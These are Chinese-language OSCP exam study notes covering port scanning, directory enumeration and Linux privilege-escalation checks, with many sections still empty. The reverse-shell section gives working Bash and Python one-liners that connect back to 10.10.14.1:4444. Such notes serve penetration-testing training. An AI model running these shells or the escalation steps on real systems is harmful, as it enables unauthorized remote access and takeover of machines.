OSCP 学习笔记
OSCP 备考过程中的重要知识点总结。
持续更新中...
🔍 信息收集
端口扫描
bash
# 快速扫描常用端口
nmap -sV -sC -oN nmap/initial $IP
# 全端口扫描
nmap -p- -oN nmap/all-ports $IP
# UDP 扫描(慢,但重要)
sudo nmap -sU --top-ports 100 $IP目录枚举
bash
# Gobuster
gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
# Feroxbuster (更快)
feroxbuster -u http://$IP -w /usr/share/wordlists/dirb/common.txt -x php html txt🌐 Web 应用攻击
SQL 注入
待补充...
文件包含(LFI/RFI)
待补充...
文件上传
待补充...
🚀 Reverse Shell
Linux
bash
# Bash
bash -i >& /dev/tcp/10.10.14.1/4444 0>&1
# Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'Windows
待补充...
⬆️ Linux 权限提升
SUID 二进制文件
bash
# 查找 SUID 文件
find / -perm -4000 -type f 2>/dev/null
# GTFOBins 查询利用方法
# https://gtfobins.github.io/SUDO 配置
bash
# 查看 sudo 权限
sudo -l
# 利用 sudo 提权
# 参考 GTFOBinsCron 任务
bash
# 查看 cron 任务
cat /etc/crontab
ls -la /etc/cron.*⬆️ Windows 权限提升
服务配置错误
待补充...
注册表提权
待补充...
🔐 Active Directory
域枚举
待补充...
Kerberoasting
待补充...
横向移动
待补充...
持续更新中,更多内容正在整理...
